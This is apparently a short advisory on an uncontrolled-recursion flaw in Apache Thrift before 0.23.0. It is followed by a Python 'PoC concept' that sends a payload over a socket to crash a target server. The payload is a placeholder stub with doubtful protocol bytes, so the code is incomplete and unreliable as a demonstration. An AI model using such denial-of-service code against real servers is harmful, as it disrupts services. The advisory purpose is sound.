Uncontrolled Recursion vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
The following code is for security research and authorized testing only.
python
# PoC Concept for Uncontrolled Recursion in Apache Thrift
# This is a conceptual demonstration. Actual exploit requires crafting specific Thrift protocol bytes.
import socket
def send_malicious_payload(host, port):
# Concept: Construct a deeply nested structure in Thrift Binary Protocol
# Example: A list inside a list repeated 10000 times.
# This payload represents the serialized bytes of such a structure.
# In a real scenario, you would use the Thrift library to generate
# a recursive object, then serialize it, or craft the bytes manually.
# Here we simulate sending a large blob that triggers the recursion.
payload = b'\x00\x00\x00\x02' # Example protocol magic bytes + version
# ... (Recursive structure bytes would follow) ...
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(payload)
print("Payload sent successfully. Server may crash.")
s.close()
except Exception as e:
print(f"Error: {e}")
# Usage: send_malicious_payload("target_ip", 9090)